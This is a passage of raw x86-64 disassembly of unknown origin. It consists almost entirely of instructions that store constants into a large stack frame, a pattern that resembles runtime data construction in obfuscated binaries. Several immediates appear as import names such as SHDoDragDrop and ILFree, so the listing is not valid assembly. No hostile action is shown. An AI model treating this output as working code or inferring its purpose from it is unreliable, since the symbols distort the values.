mov dword [rsp + 0x6f60], 0x2ded
mov byte [rsp + 0x17b], 6
mov byte [rsp + 0x17c], 0x4e
mov dword [rsp + 0x6f64], 0x1b07
mov dword [rsp + 0x6f68], 0x2e24
mov byte [rsp + 0x17d], 0x1e
mov byte [rsp + 0x17e], 0xb5
mov dword [rsp + 0x6f6c], 0x35d7
mov dword [rsp + 0x6f70], 0x2103
mov eax, 0x54e
mov word [rsp + 0x1784], ax
mov dword [rsp + 0x6f74], 0x6c3f
mov eax, 0x1ab
mov word [rsp + 0x1788], ax
mov dword [rsp + 0x6f78], 0x4e88
mov eax, 0x4e2
mov word [rsp + 0x178c], ax
mov dword [rsp + 0x6f7c], 0xa4db
mov dword [rsp + 0x6f80], 0x44c8
mov dword [rsp + 0x6f84], 0x12b5
mov dword [rsp + 0x6f88], 0x1bbb
mov byte [rsp + 0x17f], 1
mov dword [rsp + 0x6f8c], 0x63cd
mov dword [rsp + 0x6f90], 0x2c41
mov byte [rsp + 0x180], 0x43
mov dword [rsp + 0x6f94], 0x3e07
mov byte [rsp + 0x181], 0x6f
mov dword [rsp + 0x6f98], 0xf538
mov eax, 0xa57
mov word [rsp + 0x1790], ax
mov dword [rsp + 0x6f9c], 0xb9e
mov dword [rsp + 0x6fa0], 0x68ff
mov byte [rsp + 0x182], 0x89
mov dword [rsp + 0x6fa4], 0x1e24
mov byte [rsp + 0x183], 0x7a
mov byte [rsp + 0x184], 0x71
mov byte [rsp + 0x185], 0x72
mov byte [rsp + 0x186], 0x21
mov eax, 0x307
mov word [rsp + 0x1794], ax
mov eax, 0x237
mov word [rsp + 0x1798], ax
mov dword [rsp + 0x6fa8], 0x63
mov dword [rsp + 0x6fac], 0x75fa
mov dword [rsp + 0x6fb0], 0x764e
mov dword [rsp + 0x6fb4], 0x254f
mov dword [rsp + 0x6fb8], 0xdb
mov dword [rsp + 0x6fbc], 0x3b79
mov dword [rsp + 0x6fc0], 0xeb2e
mov dword [rsp + 0x6fc4], 0x76e3
mov byte [rsp + 0x187], 0x63
mov eax, 0x4f6
mov word [rsp + 0x179c], ax
mov byte [rsp + 0x188], 0xa
mov dword [rsp + 0x6fc8], 0x5886
mov byte [rsp + 0x189], 0xa5
mov byte [rsp + 0x18a], SHDoDragDrop
mov dword [rsp + 0x6fcc], 0x4e20
mov dword [rsp + 0x6fd0], 0x8e6e
mov eax, 0x553
mov word [rsp + 0x17a0], ax
mov dword [rsp + 0x6fd4], 0x190
mov byte [rsp + 0x18b], 0xe4
mov dword [rsp + 0x6fd8], 0x4f2d
mov dword [rsp + 0x6fdc], 0x33f
mov dword [rsp + 0x6fe0], 0xab9b
mov dword [rsp + 0x6fe4], 0x226c
mov dword [rsp + 0x6fe8], 0xf885
mov byte [rsp + 0x18c], 0x66
mov dword [rsp + 0x6fec], 0x4c13
mov dword [rsp + 0x6ff0], 0x829c
mov dword [rsp + 0x6ff4], 0x1aa7
mov dword [rsp + 0x6ff8], 0x5030
mov dword [rsp + 0x6ffc], 0x397b
mov eax, 0xeb4
mov word [rsp + 0x17a4], ax
mov eax, 0x5dc
mov word [rsp + 0x17a8], ax
mov byte [rsp + 0x18d], 0x4e
mov eax, 0x451
mov word [rsp + 0x17ac], ax
mov byte [rsp + 0x18e], 0x28
mov eax, 0x52
mov word [rsp + 0x17b0], ax
mov dword [rsp + 0x7000], 0xa001
mov dword [rsp + 0x7004], 0x714e
mov dword [rsp + 0x7008], 0x4d35
mov dword [rsp + 0x700c], 0x63cc
mov dword [rsp + 0x7010], 0x6485
mov dword [rsp + 0x7014], 0x6250
mov dword [rsp + 0x7018], 0x6fee
mov dword [rsp + 0x701c], 0x262
mov dword [rsp + 0x7020], 0x7b70
mov dword [rsp + 0x7024], 0x6cb1
mov dword [rsp + 0x7028], 0x2f88
mov dword [rsp + 0x702c], 0x4ad4
mov dword [rsp + 0x7030], 0x61c4
mov byte [rsp + 0x18f], 0x20
mov dword [rsp + 0x7034], 0xa39
mov dword [rsp + 0x7038], 0x61d5
mov byte [rsp + 0x190], 0x32
mov dword [rsp + 0x703c], 0x1d30
mov dword [rsp + 0x7040], 0x6e19
mov dword [rsp + 0x7044], 0x6ab5
mov dword [rsp + 0x7048], 0x6aac
mov dword [rsp + 0x704c], 0x6d52
mov dword [rsp + 0x7050], 0x1bb9
mov eax, 0x94d
mov word [rsp + 0x17b4], ax
mov dword [rsp + 0x7054], 0x303d
mov dword [rsp + 0x7058], 0x2e0e
mov dword [rsp + 0x705c], 0x5034
mov dword [rsp + 0x7060], 0x6968
mov dword [rsp + 0x7064], 0xa058
mov byte [rsp + 0x191], SHDoDragDrop
mov eax, 0x4ed
mov word [rsp + 0x17b8], ax
mov eax, 0x244
mov word [rsp + 0x17bc], ax
mov byte [rsp + 0x192], 0xe1
mov eax, 0xe67
mov word [rsp + 0x17c0], ax
mov dword [rsp + 0x7068], 0x7ee5
mov eax, 0xe1f
mov word [rsp + 0x17c4], ax
mov dword [rsp + 0x706c], 0x4b6b
mov dword [rsp + 0x7070], 0x1985
mov dword [rsp + 0x7074], 0x3b07
mov dword [rsp + 0x7078], 0xcb08
mov dword [rsp + 0x707c], 0x598e
mov byte [rsp + 0x193], 0x75
mov dword [rsp + 0x7080], 0x414c
mov eax, 0xfbe
mov word [rsp + 0x17c8], ax
mov eax, 0x8d2
mov word [rsp + 0x17cc], ax
mov dword [rsp + 0x7084], 0xdca1
mov dword [rsp + 0x7088], 0x7ad9
mov eax, 0xe56
mov word [rsp + 0x17d0], ax
mov byte [rsp + 0x194], 0x38
mov dword [rsp + 0x708c], 0x3686
mov eax, 0xaad
mov word [rsp + 0x17d4], ax
mov byte [rsp + 0x195], DrawInsert
mov dword [rsp + 0x7090], 0x8fcc
mov dword [rsp + 0x7094], 0x272f
mov dword [rsp + 0x7098], 0x95af
mov byte [rsp + 0x196], 0xdb
mov dword [rsp + 0x709c], 0xb2a8
mov byte [rsp + 0x197], 0xd5
mov dword [rsp + 0x70a0], 0x79da
mov eax, 0xe54
mov word [rsp + 0x17d8], ax
mov eax, 0xa7e
mov word [rsp + 0x17dc], ax
mov dword [rsp + 0x70a4], 0x74ce
mov dword [rsp + 0x70a8], 0x4bcd
mov dword [rsp + 0x70ac], 0x89b1
mov eax, 0x471
mov word [rsp + 0x17e0], ax
mov byte [rsp + 0x198], 0xb1
mov eax, 0xf08
mov word [rsp + 0x17e4], ax
mov dword [rsp + 0x70b0], 0x2740
mov dword [rsp + 0x70b4], 0x91ac
mov dword [rsp + 0x70b8], 0xa958
mov byte [rsp + 0x199], SHSetInstanceExplorer
mov byte [rsp + 0x19a], 0x13
mov dword [rsp + 0x70bc], 0x521c
mov dword [rsp + 0x70c0], 0x3d59
mov eax, 0x81
mov word [rsp + 0x17e8], ax
mov eax, 0xd98
mov word [rsp + 0x17ec], ax
mov dword [rsp + 0x70c4], 0xa11
mov dword [rsp + 0x70c8], 0xe4c9
mov dword [rsp + 0x70cc], 0xacc
mov byte [rsp + 0x19b], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x70d0], 0x43d4
mov dword [rsp + 0x70d4], 0x45e3
mov dword [rsp + 0x70d8], 0x69c2
mov dword [rsp + 0x70dc], 0x6d0a
mov dword [rsp + 0x70e0], 0x366b
mov dword [rsp + 0x70e4], 0x7704
mov dword [rsp + 0x70e8], 0x584b
mov byte [rsp + 0x19c], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x70ec], 0x1315
mov eax, 0xa40
mov word [rsp + 0x17f0], ax
mov eax, 0xa05
mov word [rsp + 0x17f4], ax
mov dword [rsp + 0x70f0], 0xca05
mov eax, 0xe30
mov word [rsp + 0x17f8], ax
mov dword [rsp + 0x70f4], 0x7fc2
mov dword [rsp + 0x70f8], 0x75a7
mov byte [rsp + reloc.COMCTL32.dll_DefSubclassProc], 0x9d
mov eax, 0xb63
mov word [rsp + 0x17fc], ax
mov dword [rsp + 0x70fc], 0xfb98
mov byte [rsp + 0x19e], 0xe8
mov dword [rsp + 0x7100], 0x2112
mov dword [rsp + 0x7104], 0x325
mov dword [rsp + 0x7108], 0x77e5
mov dword [rsp + 0x710c], 0x1dc2
mov dword [rsp + 0x7110], 0x5e56
mov eax, 0xa7b
mov word [rsp + 0x1800], ax
mov dword [rsp + 0x7114], 0x39bc
mov eax, 0x65c
mov word [rsp + 0x1804], ax
mov eax, 0x43f
mov word [rsp + 0x1808], ax
mov dword [rsp + 0x7118], 0x4467
mov byte [rsp + 0x19f], 0xd5
mov eax, 0x9ea
mov word [rsp + 0x180c], ax
mov dword [rsp + 0x711c], 0x17e9
mov dword [rsp + 0x7120], 0x19b9
mov byte [rsp + 0x1a0], 0x1c
mov dword [rsp + 0x7124], 0x58f8
mov byte [rsp + 0x1a1], 0x13
mov dword [rsp + 0x7128], 0x6525
mov eax, 0x7c1
mov word [rsp + 0x1810], ax
mov eax, 0xb3a
mov word [rsp + 0x1814], ax
mov dword [rsp + 0x712c], 0x3968
mov eax, 0xa03
mov word [rsp + 0x1818], ax
mov dword [rsp + 0x7130], 0x2944
mov eax, 0xf09
mov word [rsp + 0x181c], ax
mov dword [rsp + 0x7134], 0x4277
mov byte [rsp + 0x1a2], 0xcb
mov dword [rsp + 0x7138], 0x2f71
mov dword [rsp + 0x713c], 0x6964
mov byte [rsp + 0x1a3], 0xc8
mov eax, 0x78a
mov word [rsp + 0x1820], ax
mov dword [rsp + 0x7140], 0x7776
mov byte [rsp + 0x1a4], 0x13
mov eax, 0x1cd
mov word [rsp + 0x1824], ax
mov dword [rsp + 0x7144], 0x12a4
mov byte [rsp + 0x1a5], 0x4e
mov dword [rsp + 0x7148], 0x541
mov eax, 0x63e
mov word [rsp + 0x1828], ax
mov dword [rsp + 0x714c], 0x4aa1
mov eax, 0x2ff
mov word [rsp + 0x182c], ax
mov dword [rsp + 0x7150], 0x3bb3
mov dword [rsp + 0x7154], 0x1366
mov eax, 0x741
mov word [rsp + 0x1830], ax
mov dword [rsp + 0x7158], 0x91d
mov dword [rsp + 0x715c], 0x4445
mov eax, 0xaac
mov word [rsp + 0x1834], ax
mov dword [rsp + 0x7160], 0x42ed
mov byte [rsp + 0x1a6], SHDoDragDrop
mov eax, 0x992
mov word [rsp + 0x1838], ax
mov dword [rsp + 0x7164], 0x1355
mov dword [rsp + 0x7168], 0x2156
mov dword [rsp + 0x716c], 0x5d46
mov byte [rsp + 0x1a7], 0xa
mov dword [rsp + 0x7170], 0x686
mov dword [rsp + 0x7174], 0xb894
mov dword [rsp + 0x7178], 0x3af5
mov byte [rsp + 0x1a8], 0xfd
mov byte [rsp + 0x1a9], 0x40
mov byte [rsp + 0x1aa], 0x2c
mov dword [rsp + 0x717c], 0x4277
mov eax, 0x776
mov word [rsp + 0x183c], ax
mov byte [rsp + 0x1ab], 0x75
mov dword [rsp + 0x7180], 0x12f7
mov byte [rsp + 0x1ac], SHDoDragDrop
mov dword [rsp + 0x7184], 0xb89f
mov eax, 0xd8a
mov word [rsp + 0x1840], ax
mov dword [rsp + 0x7188], 0x4868
mov eax, 0x5ad
mov word [rsp + 0x1844], ax
mov dword [rsp + 0x718c], 0x1eb5
mov dword [rsp + 0x7190], 0x11e8
mov dword [rsp + 0x7194], 0x77e8
mov dword [rsp + 0x7198], 0x88a3
mov dword [rsp + 0x719c], 0x43ce
mov eax, 0x25a
mov word [rsp + 0x1848], ax
mov dword [rsp + 0x71a0], 0xffec
mov byte [rsp + 0x1ad], 0xcb
mov eax, 0xf3e
mov word [rsp + 0x184c], ax
mov byte [rsp + 0x1ae], 0x38
mov dword [rsp + 0x71a4], 0x3c23
mov byte [rsp + 0x1af], 0x9e
mov dword [rsp + 0x71a8], 0xcaeb
mov byte [rsp + 0x1b0], 0x39
mov dword [rsp + 0x71ac], 0x21b2
mov eax, 0x3cc
mov word [rsp + 0x1850], ax
mov dword [rsp + 0x71b0], 0x3714
mov eax, 0x15
mov word [rsp + 0x1854], ax
mov dword [rsp + 0x71b4], 0x5803
mov dword [rsp + 0x71b8], 0x692b
mov eax, 0xbce
mov word [rsp + 0x1858], ax
mov eax, 0x3c3
mov word [rsp + 0x185c], ax
mov dword [rsp + 0x71bc], 0x389
mov byte [rsp + 0x1b1], 0x35
mov eax, 0x2a0
mov word [rsp + 0x1860], ax
mov dword [rsp + 0x71c0], 0x34ad
mov dword [rsp + 0x71c4], 0xcfee
mov dword [rsp + 0x71c8], 0x7e18
mov eax, 0x55e
mov word [rsp + 0x1864], ax
mov byte [rsp + 0x1b2], 0x6a
mov dword [rsp + 0x71cc], 0x8491
mov byte [rsp + 0x1b3], 0x9d
mov eax, 0x1d
mov word [rsp + 0x1868], ax
mov eax, 0x4fc
mov word [rsp + 0x186c], ax
mov dword [rsp + 0x71d0], 0x6500
mov dword [rsp + 0x71d4], 0x4f7e
mov dword [rsp + 0x71d8], 0x3244
mov dword [rsp + 0x71dc], 0x51b5
mov dword [rsp + 0x71e0], 0x47f5
mov dword [rsp + 0x71e4], 0xc408
mov eax, 0x3c4
mov word [rsp + 0x1870], ax
mov dword [rsp + 0x71e8], 0x5d8c
mov byte [rsp + 0x1b4], 0x11
mov dword [rsp + 0x71ec], 0x6c1f
mov dword [rsp + 0x71f0], 0x22a6
mov byte [rsp + 0x1b5], SHSetInstanceExplorer
mov eax, 0x7ea
mov word [rsp + 0x1874], ax
mov eax, 0x392
mov word [rsp + 0x1878], ax
mov dword [rsp + 0x71f4], 0x2180
mov dword [rsp + 0x71f8], 0x3705
mov dword [rsp + 0x71fc], 0x1710
mov dword [rsp + 0x7200], 0xd2ef
mov dword [rsp + 0x7204], 0x10b7
mov byte [rsp + 0x1b6], SHDoDragDrop
mov dword [rsp + 0x7208], 0x687e
mov dword [rsp + 0x720c], 0x3883
mov dword [rsp + 0x7210], 0x4179
mov byte [rsp + 0x1b7], SHDoDragDrop
mov eax, 0x96
mov word [rsp + 0x187c], ax
mov dword [rsp + 0x7214], 0xf906
mov dword [rsp + 0x7218], 0x6694
mov dword [rsp + 0x721c], 0x34d1
mov dword [rsp + 0x7220], 0x8e3a
mov byte [rsp + 0x1b8], 0xb7
mov dword [rsp + 0x7224], 0x467b
mov byte [rsp + 0x1b9], 0x15
mov dword [rsp + 0x7228], 0x3f40
mov dword [rsp + 0x722c], 0x7caf
mov byte [rsp + 0x1ba], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x1bb], 0x1b
mov dword [rsp + 0x7230], 0x2b41
mov byte [rsp + 0x1bc], 0x3d
mov dword [rsp + 0x7234], 0xcd3
mov dword [rsp + 0x7238], 0x5e7f
mov dword [rsp + 0x723c], 0x1908
mov dword [rsp + 0x7240], 0x50ad
mov dword [rsp + 0x7244], 0xf1cb
mov dword [rsp + 0x7248], 0x35d
mov dword [rsp + 0x724c], 0x545e
mov eax, 0x477
mov word [rsp + 0x1880], ax
mov eax, 0x8a8
mov word [rsp + 0x1884], ax
mov eax, 0x117
mov word [rsp + 0x1888], ax
mov byte [rsp + 0x1bd], 0xa4
mov eax, 0x7b0
mov word [rsp + 0x188c], ax
mov byte [rsp + 0x1be], 0x18
mov eax, 0x7c3
mov word [rsp + 0x1890], ax
mov eax, 0x895
mov word [rsp + 0x1894], ax
mov eax, 0x7c8
mov word [rsp + 0x1898], ax
mov eax, 0x506
mov word [rsp + 0x189c], ax
mov eax, 0x4af
mov word [rsp + 0x18a0], ax
mov dword [rsp + 0x7250], 0x1c4b
mov dword [rsp + 0x7254], 0x6271
mov dword [rsp + 0x7258], 0xe5
mov dword [rsp + 0x725c], 0x329
mov dword [rsp + 0x7260], 0x5dd6
mov dword [rsp + 0x7264], 0x7522
mov dword [rsp + 0x7268], 0x4822
mov eax, 0xed9
mov word [rsp + 0x18a4], ax
mov dword [rsp + 0x726c], 0x3df4
mov dword [rsp + 0x7270], 0xe681
mov byte [rsp + 0x1bf], 0x6c
mov dword [rsp + 0x7274], 0xeb7d
mov dword [rsp + 0x7278], 0x608a
mov eax, 0x367
mov word [rsp + 0x18a8], ax
mov dword [rsp + 0x727c], 0x78a2
mov byte [rsp + 0x1c0], 0x8b
mov dword [rsp + 0x7280], 0x67f5
mov dword [rsp + 0x7284], 0x17f2
mov dword [rsp + 0x7288], 0x4f4a
mov eax, 0x54c
mov word [rsp + 0x18ac], ax
mov dword [rsp + 0x728c], 0x5b5d
mov dword [rsp + 0x7290], 0x6822
mov dword [rsp + 0x7294], 0x122b
mov byte [rsp + 0x1c1], 0x34
mov eax, 0x511
mov word [rsp + 0x18b0], ax
mov dword [rsp + 0x7298], 0x4b6d
mov eax, 0xfa7
mov word [rsp + 0x18b4], ax
mov byte [rsp + 0x1c2], 0xbd
mov dword [rsp + 0x729c], 0x60de
mov dword [rsp + 0x72a0], 0x1c60
mov eax, 0x1c6
mov word [rsp + 0x18b8], ax
mov eax, 0x47a
mov word [rsp + 0x18bc], ax
mov dword [rsp + 0x72a4], 0x6d21
mov dword [rsp + 0x72a8], 0x14f0
mov dword [rsp + 0x72ac], 0x10f2
mov dword [rsp + 0x72b0], 0x209d
mov dword [rsp + 0x72b4], 0xd855
mov dword [rsp + 0x72b8], 0x20ba
mov eax, 0x3e3
mov word [rsp + 0x18c0], ax
mov dword [rsp + 0x72bc], 0xc23
mov dword [rsp + 0x72c0], 0x7422
mov eax, 0x358
mov word [rsp + 0x18c4], ax
mov eax, 0x537
mov word [rsp + 0x18c8], ax
mov byte [rsp + 0x1c3], 0xf1
mov dword [rsp + 0x72c4], 0xe3dd
mov dword [rsp + 0x72c8], 0x647b
mov byte [rsp + 0x1c4], 0x83
mov dword [rsp + 0x72cc], 0x2d14
mov dword [rsp + 0x72d0], 0xdd4a
mov dword [rsp + 0x72d4], 0x5a89
mov dword [rsp + 0x72d8], 0xe86c
mov dword [rsp + 0x72dc], 0x52d3
mov eax, 0x3a9
mov word [rsp + 0x18cc], ax
mov byte [rsp + 0x1c5], 0xfc
mov eax, 0x116
mov word [rsp + 0x18d0], ax
mov eax, 0x7ca
mov word [rsp + 0x18d4], ax
mov byte [rsp + 0x1c6], 0x25
mov byte [rsp + 0x1c7], 0x22
mov eax, 0xba3
mov word [rsp + 0x18d8], ax
mov eax, 0x84a
mov word [rsp + 0x18dc], ax
mov dword [rsp + 0x72e0], 0x1166
mov dword [rsp + 0x72e4], 0x674d
mov eax, 0x12e
mov word [rsp + 0x18e0], ax
mov dword [rsp + 0x72e8], 0xc0e2
mov eax, 0x817
mov word [rsp + 0x18e4], ax
mov dword [rsp + 0x72ec], 0xf36
mov byte [rsp + 0x1c8], 0xc3
mov dword [rsp + 0x72f0], 0x68c2
mov dword [rsp + 0x72f4], 0x7e00
mov dword [rsp + 0x72f8], 0x8828
mov dword [rsp + 0x72fc], 0x3919
mov byte [rsp + 0x1c9], 0x42
mov dword [rsp + 0x7300], 0xfd86
mov byte [rsp + 0x1ca], 0xd4
mov dword [rsp + 0x7304], 0x25a9
mov eax, 0x14c
mov word [rsp + 0x18e8], ax
mov dword [rsp + 0x7308], 0x3d46
mov eax, 0x5a1
mov word [rsp + 0x18ec], ax
mov dword [rsp + 0x730c], 0x4b11
mov dword [rsp + 0x7310], 0x18be
mov eax, 0x5c4
mov word [rsp + 0x18f0], ax
mov dword [rsp + 0x7314], 0x1972
mov eax, 0x3ec
mov word [rsp + 0x18f4], ax
mov eax, 0x144
mov word [rsp + 0x18f8], ax
mov dword [rsp + 0x7318], 0x7832
mov dword [rsp + 0x731c], 0x167e
mov byte [rsp + 0x1cb], 0x29
mov eax, 0x4ef
mov word [rsp + 0x18fc], ax
mov byte [rsp + 0x1cc], 0x11
mov dword [rsp + 0x7320], 0x28eb
mov dword [rsp + 0x7324], 0x3abe
mov eax, 0x5f6
mov word [rsp + 0x1900], ax
mov eax, 0x3c3
mov word [rsp + 0x1904], ax
mov eax, 0x5b8
mov word [rsp + 0x1908], ax
mov dword [rsp + 0x7328], 0xa7d
mov dword [rsp + 0x732c], 0x3c92
mov dword [rsp + 0x7330], 0x4e0f
mov dword [rsp + 0x7334], 0x3739
mov dword [rsp + 0x7338], 0x5b02
mov byte [rsp + 0x1cd], 0x61
mov dword [rsp + 0x733c], 0x6d2b
mov dword [rsp + 0x7340], 0x2e7b
mov dword [rsp + 0x7344], 0xe2c7
mov dword [rsp + 0x7348], 0x58f8
mov dword [rsp + 0x734c], 0xdab6
mov byte [rsp + 0x1ce], 0x19
mov eax, 0x36d
mov word [rsp + 0x190c], ax
mov dword [rsp + 0x7350], 0x7d16
mov dword [rsp + 0x7354], 0x1edc
mov byte [rsp + 0x1cf], SHDoDragDrop
mov byte [rsp + 0x1d0], 0x5e
mov byte [rsp + 0x1d1], 0x77
mov eax, 0x6d
mov word [rsp + 0x1910], ax
mov byte [rsp + 0x1d2], 0x4c
mov dword [rsp + 0x7358], 0xd42
mov byte [rsp + 0x1d3], 0xd3
mov byte [rsp + 0x1d4], 0x1d
mov dword [rsp + 0x735c], 0x387f
mov dword [rsp + 0x7360], 0xf1fb
mov dword [rsp + 0x7364], 0x5ab
mov dword [rsp + 0x7368], 0x386a
mov dword [rsp + 0x736c], 0x7329
mov dword [rsp + 0x7370], 0x7dea
mov dword [rsp + 0x7374], 0x16a6
mov eax, 0xfbc
mov word [rsp + 0x1914], ax
mov dword [rsp + 0x7378], 0xc8ab
mov eax, 0x9e
mov word [rsp + 0x1918], ax
mov dword [rsp + 0x737c], 0x489c
mov dword [rsp + 0x7380], 0x7e8f
mov dword [rsp + 0x7384], 0x21b6
mov dword [rsp + 0x7388], 0x5b2c
mov dword [rsp + 0x738c], 0x5b1f
mov dword [rsp + 0x7390], 0xb9f
mov eax, 0x221
mov word [rsp + 0x191c], ax
mov eax, 0xb7
mov word [rsp + 0x1920], ax
mov eax, 0xd8b
mov word [rsp + 0x1924], ax
mov eax, 0x3c5
mov word [rsp + 0x1928], ax
mov dword [rsp + 0x7394], 0x1718
mov dword [rsp + 0x7398], 0x60ec
mov dword [rsp + 0x739c], 0x28e3
mov eax, 0xf48
mov word [rsp + 0x192c], ax
mov dword [rsp + 0x73a0], 0x3679
mov dword [rsp + 0x73a4], 0x1fcc
mov dword [rsp + 0x73a8], 0xa06b
mov dword [rsp + 0x73ac], 0x64a9
mov byte [rsp + 0x1d5], 0x3d
mov dword [rsp + 0x73b0], 0x46d4
mov eax, 0x384
mov word [rsp + 0x1930], ax
mov dword [rsp + 0x73b4], 0x2a86
mov byte [rsp + 0x1d6], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x1d7], 0xf0
mov byte [rsp + 0x1d8], 0x4f
mov dword [rsp + 0x73b8], 0xd43c
mov dword [rsp + 0x73bc], 0x61cf
mov byte [rsp + 0x1d9], SHDoDragDrop
mov eax, 0xc8f
mov word [rsp + 0x1934], ax
mov dword [rsp + 0x73c0], 0x3c0b
mov dword [rsp + 0x73c4], 0xb623
mov eax, 0x10c
mov word [rsp + 0x1938], ax
mov dword [rsp + 0x73c8], 0xc2f
mov dword [rsp + 0x73cc], 0x1830
mov dword [rsp + 0x73d0], 0x6fd9
mov byte [rsp + 0x1da], 0xa0
mov dword [rsp + 0x73d4], 0x8c8
mov dword [rsp + 0x73d8], 0x7bfd
mov eax, 0x7c7
mov word [rsp + 0x193c], ax
mov dword [rsp + 0x73dc], 0xded9
mov eax, 0x469
mov word [rsp + 0x1940], ax
mov eax, 0xa7
mov word [rsp + 0x1944], ax
mov dword [rsp + 0x73e0], 0x3ce3
mov eax, 0x4cc
mov word [rsp + 0x1948], ax
mov dword [rsp + 0x73e4], 0x2713
mov dword [rsp + 0x73e8], 0x5c59
mov eax, 0x5fd
mov word [rsp + 0x194c], ax
mov dword [rsp + 0x73ec], 0x1f30
mov byte [rsp + 0x1db], SHSetInstanceExplorer
mov eax, 0x9ce
mov word [rsp + 0x1950], ax
mov byte [rsp + 0x1dc], 0x67
mov byte [rsp + 0x1dd], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x73f0], 0x5bd9
mov byte [rsp + 0x1de], 0xfe
mov dword [rsp + 0x73f4], 0x4f07
mov dword [rsp + 0x73f8], 0x25c5
mov byte [rsp + 0x1df], 0x3c
mov eax, 0x1dc
mov word [rsp + 0x1954], ax
mov dword [rsp + 0x73fc], 0x6dd5
mov dword [rsp + 0x7400], 0x3ca1
mov dword [rsp + 0x7404], 0x46a3
mov dword [rsp + 0x7408], 0x2e78
mov eax, 0xc5d
mov word [rsp + 0x1958], ax
mov eax, 0x2d0
mov word [rsp + 0x195c], ax
mov dword [rsp + 0x740c], 0x4c73
mov dword [rsp + 0x7410], 0x111e
mov dword [rsp + 0x7414], 0x654d
mov byte [rsp + 0x1e0], 0x80
mov byte [rsp + 0x1e1], 0x73
mov byte [rsp + 0x1e2], 0x65
mov byte [rsp + 0x1e3], 0x6c
mov dword [rsp + 0x7418], 0x61b8
mov dword [rsp + 0x741c], 0x2e96
mov dword [rsp + 0x7420], 0x9910
mov byte [rsp + 0x1e4], 0x8b
mov dword [rsp + 0x7424], 0x4528
mov dword [rsp + 0x7428], 0x4e4c
mov eax, 0xaf6
mov word [rsp + 0x1960], ax
mov dword [rsp + 0x742c], 0x4b9c
mov eax, 0xa53
mov word [rsp + 0x1964], ax
mov byte [rsp + 0x1e5], 0x1d
mov eax, 0x235
mov word [rsp + 0x1968], ax
mov dword [rsp + 0x7430], 0xdcb0
mov dword [rsp + 0x7434], 0xf853
mov dword [rsp + 0x7438], 0x33c0
mov dword [rsp + 0x743c], 0x7faa
mov dword [rsp + 0x7440], 0x5368
mov eax, 0x74a
mov word [rsp + 0x196c], ax
mov byte [rsp + 0x1e6], 0x77
mov dword [rsp + 0x7444], 0x5ec8
mov dword [rsp + 0x7448], 0x69f8
mov dword [rsp + 0x744c], 0x7df2
mov dword [rsp + 0x7450], 0x486c
mov dword [rsp + 0x7454], 0xbc98
mov dword [rsp + 0x7458], 0x488b
mov dword [rsp + 0x745c], 0x2497
mov byte [rsp + 0x1e7], 0x10
mov byte [rsp + 0x1e8], 0xfc
mov dword [rsp + 0x7460], 0x1340
mov dword [rsp + 0x7464], 0x9d9b
mov byte [rsp + 0x1e9], 0xbf
mov byte [rsp + 0x1ea], 0xb4
mov byte [rsp + 0x1eb], 0x2d
mov eax, 0x41
mov word [rsp + 0x1970], ax
mov dword [rsp + 0x7468], 0xf75f
mov eax, 0x72f
mov word [rsp + 0x1974], ax
mov dword [rsp + 0x746c], 0xe7fe
mov byte [rsp + 0x1ec], 0x2c
mov dword [rsp + 0x7470], 0x95e9
mov eax, 0x31
mov word [rsp + 0x1978], ax
mov dword [rsp + 0x7474], 0xbaa2
mov dword [rsp + 0x7478], 0x5662
mov eax, 0x2e1
mov word [rsp + 0x197c], ax
mov dword [rsp + 0x747c], 0x776
mov eax, 0x55c
mov word [rsp + 0x1980], ax
mov dword [rsp + 0x7480], 0x5e7b
mov eax, 0x468
mov word [rsp + 0x1984], ax
mov byte [rsp + 0x1ed], 0xe1
mov dword [rsp + 0x7484], 0x7bfd
mov dword [rsp + 0x7488], 0x3939
mov dword [rsp + 0x748c], 0x49df
mov byte [rsp + 0x1ee], 0xbb
mov eax, 0x3d6
mov word [rsp + 0x1988], ax
mov dword [rsp + 0x7490], 0xa55
mov dword [rsp + 0x7494], 0x32d4
mov dword [rsp + 0x7498], 0x76d3
mov byte [rsp + 0x1ef], 0x3f
mov dword [rsp + 0x749c], 0xb24d
mov byte [rsp + 0x1f0], 0xa2
mov dword [rsp + 0x74a0], 0x60a
mov dword [rsp + 0x74a4], 0xedd7
mov byte [rsp + 0x1f1], 0x29
mov byte [rsp + 0x1f2], DrawInsert
mov dword [rsp + 0x74a8], 0xbed
mov dword [rsp + 0x74ac], 0x7afd
mov dword [rsp + 0x74b0], 0xe9f3
mov dword [rsp + 0x74b4], 0x1195
mov dword [rsp + 0x74b8], 0x28a5
mov dword [rsp + 0x74bc], 0xaf2
mov eax, 0x815
mov word [rsp + 0x198c], ax
mov byte [rsp + 0x1f3], 0x21
mov byte [rsp + 0x1f4], 0x7a
mov dword [rsp + 0x74c0], 0x6d56
mov byte [rsp + 0x1f5], 0xcb
mov dword [rsp + 0x74c4], 0xff66
mov eax, 0x2ff
mov word [rsp + 0x1990], ax
mov eax, 0x33c
mov word [rsp + 0x1994], ax
mov dword [rsp + 0x74c8], 0xc2c
mov dword [rsp + 0x74cc], 0x6039
mov eax, 0xc0
mov word [rsp + 0x1998], ax
mov eax, 0x6fe
mov word [rsp + 0x199c], ax
mov eax, 0x363
mov word [rsp + 0x19a0], ax
mov dword [rsp + 0x74d0], 0x40f8
mov byte [rsp + 0x1f6], SHSetInstanceExplorer
mov byte [rsp + 0x1f7], 0x3c
mov dword [rsp + 0x74d4], 0x79d2
mov eax, 0x793
mov word [rsp + 0x19a4], ax
mov byte [rsp + 0x1f8], 0x64
mov dword [rsp + 0x74d8], 0x3d6a
mov byte [rsp + 0x1f9], 0x50
mov dword [rsp + 0x74dc], 0x7563
mov dword [rsp + 0x74e0], 0x71a6
mov dword [rsp + 0x74e4], 0x68f5
mov eax, 0x154
mov word [rsp + 0x19a8], ax
mov dword [rsp + 0x74e8], 0xe8eb
mov dword [rsp + 0x74ec], 0x6300
mov dword [rsp + 0x74f0], 0x6e16
mov byte [rsp + 0x1fa], 0x76
mov eax, 0x43e
mov word [rsp + 0x19ac], ax
mov byte [rsp + 0x1fb], 0x4c
mov byte [rsp + 0x1fc], 0x14
mov dword [rsp + 0x74f4], 0x7e82
mov byte [rsp + 0x1fd], 0x64
mov eax, 0x5a
mov word [rsp + 0x19b0], ax
mov byte [rsp + 0x1fe], 0x9c
mov dword [rsp + 0x74f8], 0x20f8
mov byte [rsp + 0x1ff], ILFree
mov dword [rsp + 0x74fc], 0x7c2
mov dword [rsp + 0x7500], 0x1d6
